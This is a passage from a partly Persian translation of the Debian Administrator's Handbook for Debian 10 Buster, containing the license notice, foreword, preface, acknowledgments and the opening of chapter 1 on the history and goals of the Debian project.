راهنمای دبیان برای مدیر سیستم‌ها

Debian Buster from Discovery to Mastery

رافایل هرتزوگ

<hertzog@debian.org>

رولاند ماس

<lolando@debian.org>

حق طبع ونشر © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Raphaël Hertzog

حق طبع ونشر © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

حق طبع ونشر © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Freexian SARL

ISBN: 979-10-91414-19-7 (English paperback)

ISBN: 979-10-91414-20-3 (English ebook)

این کتاب تحت دو مجوز منطبق با رویکردهای نرم‌افزار آزاد دبیان قرار دارد.

اطلاعیه مجوز Creative Commons:  This book is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

→ https://creativecommons.org/licenses/by-sa/3.0/

اطلاعیه مجوز GPL:  این کتاب یک مستندسازی آزاد به شمار می‌آید: شما می‌توانید تحت مجوز GPL که توسط بنیاد نرم‌افزار آزاد منتشر شده است، آن را بازنشر کنید یا تغییر دهید، خواه نسخه ۲ مجوز یا (اگر صلاح می‌دانید) نسخه‌های بالاتر.

این کتاب با امید به اینکه مفید واقع شود توزیع می‌گردد. اما بدون هیچ تضمینی، حتی گواهی ضمنی که مربوط به خرید و فروش یا انطباق با هدف خاصی باشد. برای اطلاعات بیشتر به مجوز GPL مراجعه کنید.

You should have received a copy of the GNU General Public License along with this program. If not, see https://www.gnu.org/licenses/.

قدردانی خود را نشان دهید

This book is published under a free license because we want everybody to benefit from it. That said maintaining it takes time and lots of effort, and we appreciate being thanked for this. If you find this book valuable, please consider contributing to its continued maintenance either by buying a paperback copy or by making a donation through the book's official website:

→ https://debian-handbook.info

چكيده

کتابی جامع از توزیع دبیان، که از نصب اولیه تا تنظیمات سرویس‌ها را شامل می‌شود.

مقدمه

بسیار خرسندم از اینکه این افتخار نصیب من شد تا بتوانم شما را به کتابچه مدیریت دبیان خوش آمد بگویم. افراد بسیاری دبیان را انتخاب کرده اند: حدود 10% از تمامی وب سرور های موجود در اینترنت از دبیان استفاده میکنند. و اگر سایر توزیع های مبتنی بر دبیان را نیز در این آمار محاسبه کنید این میزان به 20% افزایش میابد. دبیان به عنوان سیستم عامل منتخب برای ایستگاه بین المللی فضایی برگزیده شد. مهم نیست که موضوع مورد نظر شما مباحث علمی بسیار جدید در فیزیک باشد یا مدیریت پروژه ای برای تولید مواد غذایی و در عین حال جلوگیری از آلودگی، دبیان همیشه برای قدرت بخشیدن به کامپیوتر هایی که این امر را ممکن میکنند استفاده شده است.

چرا دبیان گزینه مورد نظر سازمان ها و ارگان های بزرگ، محققین، فعالین حوزه های مختلف، یا هابیست ها است؟ به نظر من جواب در انعطاف دبیان و انجمن محور بودن آن است.

Debian is flexible. Yes, it provides an excellent general-purpose operating system out of the box. It also provides the tools to customize Debian to whatever environment you find yourself working in. Whether it is a cloud and container architecture, a large collection of workstations, individual computers, or an appliance, Debian provides the flexibility to work well in that environment. You will find the tools and examples you need to meet your needs.

The Debian community is a meeting place for diverse individuals and interests: developers from the largest corporations work alongside volunteers, researchers, and users. Whether it is security experts, web developers, systems programmers or architects, we are all represented. You can be part of this community. When you find ways that Debian can be better, we welcome your contribution.

We come together to produce a world-class free operating system. No one company controls Debian; no one agenda defines our work. Instead, each of us has the power to improve Debian in the ways that matter to us. Thank you for taking a look at what we've built. I hope you like it.

This book is an excellent way to explore Debian. I've been recommending it to friends for years when they wanted to learn more about Debian, and I am pleased to have the opportunity to recommend it more widely. This handbook is written and maintained by long-standing members of the Debian community. Some of the same people who are working to develop the operating system have joined together to help you understand it. And of course the book is developed using a community process similar to Debian itself with the same emphasis on freedom.

August 2019

Sam Hartman (Debian Project Leader)

پیشگفتار

لینوکس در سال‌های اخیر قدرت زیادی یافته است و محبوبیت روز افزون آن موجب شده است که کاربران بیشتری از آن استفاده کنند. اولین قدم در این مسیر انتخاب یک توزیع مناسب است. این یک تصمیم مهم است که کدام توزیع را انتخاب کنیم، چرا که هر کدام از آن‌ها قابلیت‌های خاص خودشان را دارند و انتخاب یک توزیع مناسب در ابتدای مسیر می‌تواند بسیاری از هزینه‌های مهاجرت سیستم در آینده را کاهش دهد.

مفاهیم بنیادین توزیع لینوکس، کرنل لینوکس

به عبارت صحیح‌تر، لینوکس تنها یک کرنل است، هسته‌ای نرم‌افزاری که بین سخت‌افزار و برنامه‌های کاربردی تعامل ایجاد می‌کند.

یک “توزیع لینوکس” سیستم عاملی کامل است؛ که معمولا شامل هسته لینوکس، یک برنامه نصب‌کننده اولیه و مهمتر برنامه‌هایی که باعث می‌شوند یک رایانه به ابزاری مفید و کاربردی تبدیل شود.

دبیان گنو/لینوکس یک توزیع لینوکس “عمومی” است که نیاز اکثر کاربران را برآورده می‌کند. هدف این کتاب نمایش جنبه‌های مختلف آن است تا شما بتوانید با آگاهی بیشتری از این توزیع بهره‌مند شوید.

1. چرا این کتاب؟

فرهنگ توزیع‌های تجاری

Most Linux distributions are backed by a for-profit company that develops them and sells them under some kind of commercial scheme. Examples include Ubuntu, mainly developed by Canonical Ltd.; Red Hat Enterprise Linux, by Red Hat, Inc., child company of IBM; and SUSE Linux , maintained and made commercially available by SUSE Software Solutions Germany GmbH, child company of EQT Partners.

طیف دیگر این ماجرا پروژه‌هایی مانند دبیان یا بنیاد نرم‌افزار آپاچی را شامل می‌شود (که توسعه وب سرور آپاچی را بر عهده دارد). دبیان در دنیای نرم‌افزار آزاد در راس این هرم قرار دارد، پروژه‌ای که توسط داوطلبین آن در سراسر جهان پیاده‌سازی می‌شود. اگر چه برخی توسعه‌دهندگان آن به عنوان کار تمام روز و رسمی خود در شرکت‌های تجاری گوناگون روی دبیان فعالیت می‌کنند، اما تمام پروژه به صورت کلی در اختیار یک شرکت خاص قرار ندارد و همچنین هیچ شرکتی نسبت به مشارکت‌کنندگان آزاد در اتخاذ تصمیمات روی پروژه دبیان، قدرت تصمیم‌گیری بالاتری ندارد.

Linux has gathered a fair amount of media coverage over the years; it mostly benefits the distributions supported by a real marketing department — in other words, company-backed distributions (Ubuntu, Red Hat, SUSE, and so on). But Debian is far from being a marginal distribution; multiple studies have shown over the years that it is widely used both on servers and on desktops. This is particularly true among web servers where Debian and Ubuntu are the leading Linux distributions.

→ https://w3techs.com/technologies/details/os-linux/all/all

هدف این کتاب راهنمایی شما جهت آشنایی بیشتر با این توزیع است. امیدواریم بتوانیم تجربیات خود را به عنوان توسعه‌دهنگان و مشارکت‌کنندگانی که در سال‌های ۱۹۹۸ (رافائل) و ۲۰۰۰ (رولاند) به این پروژه پیوستیم، با شما به اشتراک بگذاریم. با این امید که، اشتیاق ما برای شما سازنده باشد، شاید هم روزی شما به جمع ما پیوستید…

اولین نسخه از این کتاب (۲۰۰۴) جهت پرکردن خلاء موجود در آموزش دبیان به وجود آمد: اولین کتاب فرانوسی بود که به طور اختصاصی روی دبیان تمرکز داشت. در همان زمان، کتاب‌های بسیاری با تمرکز بر این موضوع به زبان‌های فرانوسی و انگلیسی نوشته شدند. متاسفانه هیچ یک از آن‌ها بروزرسانی نشدند و طی سالیان اخیر شرایط طوری تغییر کرد که تعداد کتاب‌های کاربردی در زمینه دبیان بسیار نایاب شد. امیدواریم که این کتاب، با توجه به اینکه به زبان انگلیسی ترجمه شده است (و بسیاری زبان‌های دیگر که ترجمه انگلیسی آن هستند) این خلاء را پر کند و به بسیاری یاری رساند.

2. این کتاب برای چه افرادی است؟

تلاش ما بر کاربردی نمودن این کتاب برای طیف گسترده‌ای از خوانندگان بوده است. در ابتدا، مدیران سیستم (مبتدی و پیشرفته) توضیحاتی درباره نصب و پیکربندی دبیان روی رایانه‌های گوناگون پیدا می‌کنند. همچنین با طیف گسترده‌ای از سرویس‌ها در دبیان آشنا می‌شوند، در کنار دستورالعمل‌های پیکربندی و توضیحاتی که از این توزیع بدست می‌آیند. درک مکانیسم‌هایی که در توسعه دبیان وجود دارند باعث می‌شود تا این افراد با مشکلات پیشبینی نشده تعامل بهتری داشته باشند، با دانستن این موضوع که همیشه می‌توانند از جامعه کاربری دبیان راهنمایی بگیرند.

کاربران سایر توزیع‌های لینوکس دیگر، یا یونیکس، با تعاریف دبیان آشنا خواهند شد و به سرعت می‌توانند با قابلیت‌های منحصربفردی که این توزیع در اختیارشان می‌گذارد، ارتباط برقرار کنند.

در نهایت، خوانندگانی که دانش ابتدایی در رابطه با دبیان را دارند و می‌خواهند بیشتر راجع به جامعه کاربری اطلاعات کسب کنند، می‌بیننند که انتظاراتشان برآورده خواهد شد. این کتاب می‌تواند به ارتباط نزدیکتر ما مشارکت‌کنندگان کمک شایانی نماید.

3. رویکرد عمومی

تمام مستندات عمومی که می‌توانید درباره گنو/لینوکس پیدا کنید در مورد دبیان نیز صدق می‌کنند، چرا که دبیان شامل متداول‌ترین نرم‌افزارهای آزاد است. اگرچه، این توزیع بسیاری قابلیت‌های جدید اضافه کرده است، به همین دلیل انتخاب ما برای حل مساله، توضیح “روش دبیانی” آن است.

پیروی از توصیه‌هایی که دبیان می‌کند بسیار جالب است، اما بهتر آن است که منطق درونی آن را درک کنیم. به همین منظور، ما خود را تنها به توضیحات کاربردی محدود نمی‌کنیم؛ همچنین از شیوه اجرای پروژه صحبت می‌کنیم تا شما را با دانشی جامع و پایدار آشنا سازیم.

4. ساختار کتاب

This book is built around a case study providing both support and illustration for all topics being addressed.

یادداشت وبسایت, ایمیل نویسنده

This book has its own website, which hosts whatever elements that can make it more useful. In particular, it includes an online version of the book with clickable links, and possible errata. Feel free to browse it and to leave us some feedback. We will be happy to read your comments or support messages. Send them by email to <hertzog@debian.org> (Raphaël) and <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

فصل ۱ بر روی جنبه غیر فنی پروژه دبیان تمرکز دارد و به توضیح اهداف و سازماندهی آن می‌پردازد. این جنبه‌ها مهم هستند چرا که یک چارچوب عمومی را تشکیل می‌دهند که فصل‌های دیگر اطلاعات تکمیلی آن را ارائه می‌دهند.

فصل‌های ۲ و ۳ یک نمای کلی از موضوع مورد مطالعه را نمایش می‌دهند. در این نقطه، خوانندگان تازه‌کار می‌توانند اندکی زمان بگذارند تا ضمیمه ب را مطالعه کنند، جایی که می‌توانند درسی کوتاه در رابطه با مفاهیم موجود در سیستم عامل‌های مبتنی بر یونیکس را فرا بگیرند.

تا قبل از فصل ۴ به موضوع اصلی که نصب و پیکربندی اولیه دبیان است، نخواهیم رسید؛ فصل‌های ۵ و ۶ ابزاری را معرفی می‌کنند که در مدیر سیستم دبیان با آن‌ها سر و کار دارد، مانند ابزار خانواده Apt که به خودی خود اعتبار فوق‌العاده‌ای برای توزیع دبیان آورده است. این فصل‌ها تنها مختص حرفه‌ای‌ها نیستند چرا که هر شخص، مدیر خود در خانه است.

فصل ۷ جایگاه حائز اهمیتی دارد؛ به شیوه‌های استفاده از مستندات می‌پردازد که و اینکه چگونه در کمترین زمان مشکل موجود را حل کنیم.

فصل‌های بعدی جزئیات بیشتری از سیستم را نمایش می‌دهند، که شروع آن با زیرساخت اولیه و سرویس‌ها است فصل‌های ۸ تا ۱۰ و حرکت تدریحی در استفاده از نرم‌افزارهای کاربردی در فصل ۱۳. فصل ۱۲ با موضوعات پیشرفته‌تری سر و کار دارد که مدیر سیستم‌های حرفه‌ای با مجموعه رایانه‌های متعدد (سرورها) را درگیر خود می‌کند، در صورتی که فصل ۱۴ مقدمه‌ای کوتاه بر موضوع امنیت رایانه است که پاسخ برخی سوالات کلی را می‌دهد.

فصل ۱۵ برای مدیر سیستم‌هایی است که می‌خواهند گامی فراتر گذاشته و بسته دبیان خود را ایجاد کنند.

واژگان بسته دبیان

یک بسته دبیان، آرشیو (بایگانی) متشکل از تمام فایل‌های مورد نیاز یک نر‌افزار جهت نصب است. به طور معمول فایلی است با پسوند .deb که می‌تواند با دستور dpkg مدیریت شود. همچنین یک بسته باینری شامل فایل‌هایی است که بلافاصله قابلیت استفاده دارند (مانند برنامه‌ها یا مستندات). در طرف دیگر، یک بسته مبدا شامل سورس کد نرم‌افزار و تمام دستوراتی است که برای ایجاد بسته باینری، مورد نیاز هستند.

The present version is already the ninth edition of the book (we include the first four that were only available in French). This edition covers version 10 of Debian, code-named Buster. Among the changes, Debian now supports UEFI Secure Boot, providing some extra safety against attacks on the boot infrastructure, and making it easier to install Debian on new computers where Secure Boot is usually enabled by default. Again at the security level, AppArmor, a Mandatory Access Control system that regulates what various applications are allowed to perform, is now enabled by default. All included packages have obviously been updated, including the GNOME desktop, which is now in its version 3.30.

برخی یادداشت‌ها و یادآوری‌ها را در کنار صفحات قرار داده‌ایم که نقش‌های متعددی بر عهده دارند: می‌توانند توجه شما را به موضوعی مهم جلب کنند، مفهوم یک موضوع مورد بررسی را کامل کنند، عباراتی را تعریف کنند یا به عنوان یادآوری استفاده شوند. در اینجا به فهرستی از رایج‌ترین این قسمت‌ها می‌پردازیم:

مفاهیم بنیادین: یادآوری برخی اطلاعات که انتظار می‌رود بشناسید؛

واژگان: یک عبارت فنی را تعریف می‌کند، گاهی اوقات مختص خود دبیان؛

جامعه کاربری: به معرفی افراد و نقش‌های مهم در پروژه دبیان می‌پردازد؛

خط مشی: قانون یا توصیه‌ای از مجموعه خط مشی‌های دبیان. این سند در بین پروژه بسیار ضروری است و توضیح می‌دهد که چگونه یک نرم‌افزار بسته‌بندی شود. قسمت‌هایی از خط مشی که در این کتاب مطرح شده است مورد نفع کاربران هستند (برای نمونه، دانستن این موضوع که خط مشی چگونه مکان مستندات و مثال‌ها را استانداردسازی می‌کند به این موضوع کمک می‌کند که آن‌ها را چطور در بسته‌های جدید شناسایی کنیم).

ابزار: یک ابزار یا سرویس مرتبط را ارائه می‌دهد؛

در عمل: مفاهیم نظری و عملی همیشه منطبق با یکدیگر نیستند؛ این قسمت‌ها توصیه‌هایی را شامل می‌شوند که ما آن‌ها را تجربه کرده‌ایم. همچنین می‌توانند شامل نمونه‌های با جزئیات بالا باشند؛

سایر قسمت‌هایی که در کناره صفحه نمایش داده می‌شوند واضح هستند: فرهنگ، نکته، احتیاط، مطالعه بیشتر، امنیت و ...

5. Contributing

This book is developed like a free software project, your input and help is welcome. The most obvious way to contribute is to help translate it into your native language. But that is not the only possibility. You can open bug reports to let us know of mistakes, typos, outdated information, or topics that we should really cover. Or you can submit a merge request with your fix for whatever issue that you identified.

All the instructions to contribute to the book are documented on the book's website:

→ https://debian-handbook.info/contribute/

6. سپاسگزاری

6.1. اندکی تاریخچه

در سال ۲۰۰۳، نت ماکارویچ با رافائل تماس گرفت چرا که می‌خواست کتاب درباره دبیان با عنوان Cahier de l'Admin در مجموعه (کتابچه‌هایی برای مدیران) منتشر کند که وی مسئول مدیریت این مجموعه در انتشارات Eyrolles بود، یک ناشر معتبر فرانسوی در کتاب‌های فنی. رافائل بلافاصله این درخواست را قبول کرد. اولین ویرایش کتاب در ۱۴ اکتبر ۲۰۰۴ بیرون آمد که با بسیار موفق بود - به طوری که نزدیک به ۴ ماه پس از انتشار آن، تمام نسخه‌های چاپی به فروش رفتند.

Since then, we have released 7 other editions of the French book, one for each subsequent Debian release (except for Debian 9). Roland, who started working on the book as a proofreader, gradually became its co-author.

با اینکه کاملا از موفقیت کتاب رضایت کامل داشتیم، همیشه امیدوار بودیم که Eyrolles نسبت به متقاعد کردن یک ناشر بین‌المللی جهت ترجمه انگلیسی کتاب اقدامی انجام دهد. با نقطه نظرات فراوانی در مورد اینکه کتاب چگونه توانسته به افراد گوناگون یاری رساند دریافت کردیم و مشتاق بودیم که این فرآیند برای افراد بیشتری ادامه یابد.

Alas, no English-speaking editor that we contacted was willing to take the risk of translating and publishing the book. Not put off by this small setback, we negotiated with our French editor Eyrolles and got back the necessary rights to translate the book into English and publish it ourselves. Thanks to a successful crowdfunding campaign, we worked on the translation between December 2011 and May 2012. The “Debian Administrator's Handbook” was born and it was published under a free-software license!

While this was an important milestone, we already knew that the story would not be over for us until we could contribute the French book as an official translation of the English book. This was not possible at that time because the French book was still distributed commercially under a non-free license by Eyrolles.

In 2013, the release of Debian 7 gave us a good opportunity to discuss a new contract with Eyrolles. We convinced them that a license more in line with the Debian values would contribute to the book's success. That wasn't an easy deal to make, and we agreed to setup another crowdfunding campaign to cover some of the costs and reduce the risks involved. The operation was again a huge success and in July 2013, we added a French translation to the Debian Administrator's Handbook.

تمایل داریم از تمامی اشخاصی که در کمپین جذب سرمایه اولیه ما را یاری رساندند تشکر کنیم، خواه مبلغی پرداخت کرده باشند خواه با جملات خود ما را به ادامه فعالیت تشویق کرده باشند. این کار بدون مشارکت شما امکان‌پذیر نبود.

To save some paper, 5 years after the fundraising campaigns and after two subsequent editions, we dropped the list of persons who opted to be rewarded with a mention of their name in the book. But their names are engraved in the acknowledgments of the Wheezy edition of the book:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. تشکر ویژه از مشارکت‌کنندگان

این کتاب قطعا به مکان امروزی خود بدون کمک افرادی که هر یک بخش مهمی از فرآیند ترجمه را بر عهده گرفتند، نمی‌رسید. قصد داریم از ماریلین بران سپاسگزاری کنیم که ما را در ترجمه آزمایشی یاری رساند و همکاری خوبی جهت برقراری قوانین ترجمه داشت. وی همچنین فصل‌هایی که نیازمندی بازبینی محتوایی بودند و هنوز کامل نشده بودند را مورد تجدید نظر قرار داد. از آنتونی بالدوین که ترجمه چند فصل را بر عهده گرفت تشکر می‌کنیم.

Since Roland and I were too busy to update the book for Debian 10, we used the modest income that we get through donations and sales to hire contributors to do the bulk of the work. Thank you very much to Daniel Leidert and Jorge Maldonado Ventura for the hard work they put into this update.

از کمک سخاوتمندانه چند مصحح نیز برخوردار بودیم: دانیل فیلیپس، جرولد روپرچت، گوردون دی و تام سیروید. هر یک از آنان فصل‌های گوناگونی را بازبینی کردند. سپاسگزایم!

پس از اینکه نسخه انگلیسی به صورت آزاد منتشر شد، تعداد زیادی بازخورد و پیشنهاد از خوانندگان کتاب دریافت کردیم، حتی از سایر تیم‌هایی که نسخه انگلیسی را به زبان‌های دیگر ترجمه کردند. متشکریم!

همچنین می‌خواهیم از خوانندگان فرانسوی زبانی که ما را با برخی جملات زیبا در این راستا که کتاب اصلی ارزش ترجمه شدن را دارد یاری رساندند، تشکر کنیم: از کریستین پریر، دیوید برکوت، اتین لوتارت و گلیس روزی تشکر می‌کنیم. استفانو زاخیرولی - که مدیر پروژه دبیان طی کمپین جذب سرمایه بود - نیز شایسته قدردانی است، کسی که با صحه گذاشتن به این موضوع که کتاب‌های آزاد (به معنای واقعی کلمه) بیش از آنچه تصور می‌شد مورد نیاز هستند، به ما دلگرمی داد سپاسگزاری کنیم.

اگر لذت خواندن نسخه چاپی کتاب نصیب شما شده است، آنگاه به ما بپیوندید تا از بنیوت جیلان، ژان کومه شارپنتیر و سپاستین منگین قدردانی کنیم که طراحی داخلی کتاب را انجام دادند. بنویت که نویسنده اصلی dblatex است - ابزاری که برای تبدیل DocBook به LaTeX (و سپس PDF) استفاده شد. سپاستین طراحی است که این کتاب زیبا را صفحه‌بندی کرده است و ژان کومه متخصص LaTeX که امکان استفاده از آن با dblatex را فراهم آورد. برای تمام کار سختی که انجام دادید از شما سپاسگزاریم!

در نهایت، از تیری استمپفل برای تصاویر ابتدای هر فصل و دورو پاتراشو برای طراحی جلد کتاب قدردانی می‌کنیم.

6.3. تشکر از مترجمان

Ever since the book has been freed, many volunteers have been busy translating it to numerous languages, such as Arabic, Brazilian Portuguese, German, Italian, Spanish, Japanese, Norwegian Bokmål, etc. Discover the full list of translations on the book's website: https://debian-handbook.info/get/#other

همچنین می‌خواهیم از تمام مترجمان و افرادی که بازبینی ترجمه را انجام دادند تشکر کنیم. کاری که شما می‌کنید بسیار شایسته تقدیر است چرا که دبیان را در دست افرادی قرار می‌دهد که توانایی خواندن انگلیسی را ندارند.

6.4. قدردانی‌های شخصی از طرف رافائل

اول از همه، می‌خواهم از نت ماکارویچ تشکر کنم کسی که امکان ترجمه این کتاب را برای من روشن کرد و طی یک سال فرآیند آن من را با راهنمایی‌های خود آگاه ساخت. از تیم خوب Eyerolles نیز تشکر می‌کنم به خصوص از ماریل شان سه. او در رابطه با من خیلی صبور بود و بسیار از وی آموختم.

زمانی که کمپین Ulule راه‌اندازی شد برای من اهمیت بسیاری داشت و می‌خواهم از تمام افرادی که منجر به موفقیت آن شدند قدردانی کنم به خصوص تیم Ulule که به سرعت پاسخ درخواست‌های متعدد من را می‌دادند. از همه کسانی که این کمپین را تبلیغ کردند نیز تشکل می‌کنم. فهرست کاملی از این افراد ندارم (و اگر داشتم بسیار طولانی میشد) اما دوست دارم از افرادی که در ارتباط مستقیم با من بودند قدردانی کنم: الیجا اسندن و بنجامین هامفری از OMG! Ubuntu، فلورنتا زارا از LinuxFr.org، مانو از Korben.info، فردریک کوچت از April.org، جیک اج از Linux Weekly NEWS، کلمنت لفبره از لینوکس مینت، لادیسلاو بادنر از DistroWatch، استیو کمپ از Debian-Administration.org، کریستین پفیر از Debian-News.net، آرتم نوشالیج از LinuxScrew.com، استفان راموین از Gandi.net، ماتیو بلاک از Bytemark.co.uk، تیم مستقر در Divergence FM، ریکی کایت از Linux New Media، جونو بیکون، تیم بازاریابی در Eyrolles و بسیاری افراد دیگر که اکنون نامشان را فراموش کردم (بابت این موضوع عذر می‌خواهم).

دوست دارم یک تشکر ویژه از رولاند ماس، نویسنده همکار خود انجام دهم. ما از ابتدای مسیر در این پروژه با یکدیگر همکاری داشته‌ایم که چالش‌های فراوانی برای ما داشته است. باید بگویم که تکمیل این کتاب کار بسیار طاقت‌فرسایی بود…

در انتها، از سوفی همسر خود قدردانی می‌کنم. او در طی ترجمه این کتاب و دبیان به صورت کلی، خیلی از من حمایت کرد. روزها و شب‌های فراوانی وجود داشت که او را به همراه ۲ پسرم تنها می‌گذاشتم تا پیشرفتی در این پروژه حاصل شود. از حمایتش بسیار قدردانم و می‌دانم که چقدر خوشبخت هستم که او را در کنار خود دارم.

6.5. قدردانی‌های شخصی از رولاند

بسیار خوب، رافائل بخش اعظی از تشکرهای “عمومی” را انجام داده است.کماکان به قدردانی شخصی خود از افراد Eyrolles تاکید دارم، کسانی که لحظات لذت بخشی را برای من رقم زدند. خوشبختانه نتایج توصیه‌های عالی آنان در ترجمه کتاب به فراموشی سپرده نشده است.

از رافائل بسیار سپاسگزاری می‌کنم که بخش مدیریتی ویرایش انگلیسی کتاب را بر عهده گرفته بود. از سازماندهی کمپین جذب سرمایه گرفته تا آخرین جزئیات صفحه‌بندی کتاب. تهیه یک کتاب ترجمه شده کاری فراتر از ترجمه یا تصحیح صرف است و رافائل آن را انجام داد. ممنونم ازت.

از تمام کسانی که کم و بیش در این کتاب مشارکت کردند تشکر می‌کنم، که توضیحات و پیشنهادات خود را در اختیار ما گذاشتند. تعدادشان بسیار زیاد است اما بسیاری از آن‌ها در کانال‌های IRC دبیان (#debian-*) حضور دارند.

البته که برخی هم‌پوشانی‌ها بین فهرست افراد نام برده شده وجود دارد اما تشکر ویژه نیز مخصوص کسانی است که با دبیان به صورت روزانه سر و کار دارند. بدون آن‌ها کتابی نیز وجود نخواهد داشت و من هنوز شگفت‌زده می‌شوم که پروژه دبیان در مجموع چه امکاناتی را در اختیار همه می‌گذارد.

سپاسگزاری‌های شخصی دیگری به دوستان و خانواده من بر می‌گردد که مرا طی فرآیند ترجمه کتاب درک می‌کردند و همچنین به خاطر حمایت همیشگی‌شان. می‌دانید که شما را می‌گویم؛ ممنونم.

در نهایت، اطمینان دارم که اگر اسم خود را اینجا ببینند شگفت‌زده می‌شوند اما قصد دارم قدردانی خود را نسبت به تری پرچت، جسپر فورد، تام هولت، ویلیام گیبسون، نیل استفانسون و همچنین داگلاس آدامز فقید ابراز دارم. ساعت‌های متعددی که از خواندن کتاب‌های آنان لذت بردم به صورت مستقیم باعث شد تا در فرآیند ترجمه مشارکت کنم و قسمت‌های جدید را در ادامه اضافه کنم.

فصل 1. پروژه دبیان

قبل از ورود به بحث فنی، بیاید نگاهی به پروژه دبیان، اهداف، ماموریت‌ها و عملیات آن بیندازیم.

1.1. دبیان چیست؟

فرهنگ ریشه نام دبیان

دنبال چیز اضافی نگردید: دبیان یک مخفف نیست. این اسم، در حقیقت پیوند دو نام کوچک است: نام Ian Murdock و دوست دخترش در آن زمان Debra. Debra + Ian = Debian

دبیان یک توزیع گنو/لینوکس است. راجع به اینکه توزیع چیست با جزئیات بیشتر در قسمت 1.5, “نقش توزیع‌ها” صحبت خواهیم کرد، اما هم اکنون به این نکته ساده اشاره می‌کنیم که یک سیستم عامل کامل به حساب می‌آید که شامل نرم‌افزارها و سیستم‌هایی برای نصب و مدیریت رایانه می‌شود که تمامی آن‌ها مبتنی بر کرنل لینوکس و نرم‌افزار آزاد هستند (به خصوص موارد موجود در پروژه گنو).

زمانی که او در سال ۱۹۹۳، تحت رهبری بنیاد نرم‌افزار آزاد (FSF) دبیان را بوجود آورد، آین مرداک اهداف مشخصی داشت که آن‌ها را در قالب Debian Manifesto بیان کرده است. سیستم عامل آزادی که او در فکرش بود بایستی دو ویژگی اصلی را شامل می‌شد. اول، کیفیت: دبیان باید با چنان دقت و مهارتی توسعه می‌یافت که ارزش کرنل لینوکس را داشته باشد. همچنین می‌بایست به عنوان یک توزیع غیر-تجاری فعالیت می‌کرد، به میزانی که با توزیع‌های تجاری قابل رقابت باشد. این آرزوی دوگانه، به دید او، تنها با فرآیند توسعه‌ای آزاد برای دبیان قابل دستیابی بود، درست مانند همان چیزی که برای لینوکس و پروژه گنو اتفاق افتاده بود. بدین ترتیب بود که می‌توانست به بهبود پیوسته پروژه کمک کند.

فرهنگ گنو، پروژه‌ای از بنیاد نرم‌افزار آزاد

پروژه گنو، مجموعه‌ای از نرم‌افزارهای آزاد توسعه‌یافته یا حمایت‌شده توسط بنیاد نرم‌افزار آزاد است که توسط رهبر نمادین (مثال زدنی) آن دکتر ریچارد استالمن مدیریت می‌شود. گنو یک مخفف بازگشتی است که عبارت است از: “GNU is Not Unix”.

فرهنگ ریچارد استالمن

FSF's founder and author of the GPL license, Richard M. Stallman (often referred to by his initials, RMS) is a charismatic leader of the Free Software movement. Due to his uncompromising positions, he is not unanimously admired, but his non-technical contributions to Free Software (in particular, the legal and philosophical) are respected by everybody.

1.1.1. یک سیستم عامل چندسکویی

جامعه ماجرای آین مرداک

آیِن مرداک، بنیان‌گذار پروژه دبیان، از سال ۱۹۹۳ تا ۱۹۹۶ اولین رهبر آن بود. پس از سپردن این عصا به بروس پرنس، نقش عمومی آین کمرنگ‌تر شد. او به جامعه نرم‌افزار آزاد بازگشت تا با تاسیس شرکت Progeny و با هدف ایجاد یک توزیع تجاری مبتنی بر دبیان، ادامه فعالیت دهد. متاسفانه این تلاش با موفقیت تچاری همراه نشد و منجر به توقف پروژه گردید. شرکت پس از سال‌ها فعالیت، تنها به عنوان یک ارائه‌دهنده سرویس، در آوریل ۲۰۰۷ دچار ورشکستگی شد. از میان پروژه‌های متعددی که در Progeny تعریف شدند، تنها discover به حیات خود به عنوان یک ابزار خودکار شناساسی سخت‌افزار ادامه می‌دهد.

Ian Murdock died on 28 December 2015 in San Francisco after a series of worrying tweets where he reported having been assaulted by police. In July 2016 it was announced that his death had been ruled a suicide.

Debian, remaining true to its initial principles, has had so much success that, today, it has reached a tremendous size. Currently there are 10 hardware architectures officially supported and also other kernels like FreeBSD (although the FreeBSD-based ports are not part of the set of officially supported architectures). Furthermore, with more than 28,000 source packages, the available software can meet almost any need that one could have, whether at home or in the enterprise.

The sheer size of the distribution can be inconvenient: it is really unreasonable to distribute 16 DVD-ROMs to install a complete version on a standard PC… This is why Debian is increasingly considered as a “meta-distribution”, from which one extracts more specific distributions intended for a particular public: Debian Science for scientific use, Debian Edu for education and pedagogical use in an academic environment, Debian Med for medical applications, Debian Jr. for young children, etc. A more complete list of the subprojects can be found in قسمت 1.3.3.1, “پروژه‌های جانبی موجود در دبیان” , dedicated to that purpose.

این دیدگاه جداگانه از دبیان تحت یک چارچوب از پیش تعریف شده، سازماندهی می‌گردد که امکان سازگاری بین “توزیه‌های فرزند” را ایجاد می‌کند. تمام آن‌ها از برنامه‌ریزی عمومی برای هر نسخه جدید تبعیت می‌کنند. از آنجایی که بر اساس یک بنیاد مشترک ساخته می‌شوند، با استفاده از برنامه‌هایی که در مخازن رسمی دبیان وجود دارند به راحتی می‌توانند توسعه یابند، کامل شوند یا شخصی گردند.

تمام ابزار دبیان تحت این شرایط عمل می‌کنند: debian-cd برای مدتی طولانی است که به عنوان ابزاری جهت ایجاد سی‌دی‌ شامل مجموعه‌ای از بسته‌ها استفاده می‌گردد؛ debian-installer یک نصب‌کننده ماژولار به حساب می‌آید که به راحتی برای نیازهای خاص قابل برنامه‌ریزی است. APT بسته‌ها را از منابع گوناگون نصب کرده در حالتی که پایداری کل سیستم را تضمین می‌کند.

ابزار ایجاد یک CD-ROM از دبیان

debian-cd وظیفه ایجاد فایل‌های ISO برای رسانه‌های مختلف (سی‌دی، دی‌وی‌دی، بلوری و ...) را دارد. هر موردی در رابطه با این نرم‌افزار به صورت ایمیل در میلینگ لیست <debian-cd@lists.debian.org> (به صورت انگلیسی) مورد بحث و گفتگو قرار می‌گیرد. تیم اصلی آن توسط استیو مک‌آینتره که نسخه‌های رسمی ISO دبیان را تولید می‌کند، مدیریت می‌شود.

بازگشت به مقدمات برای هر رایانه و معماری آن

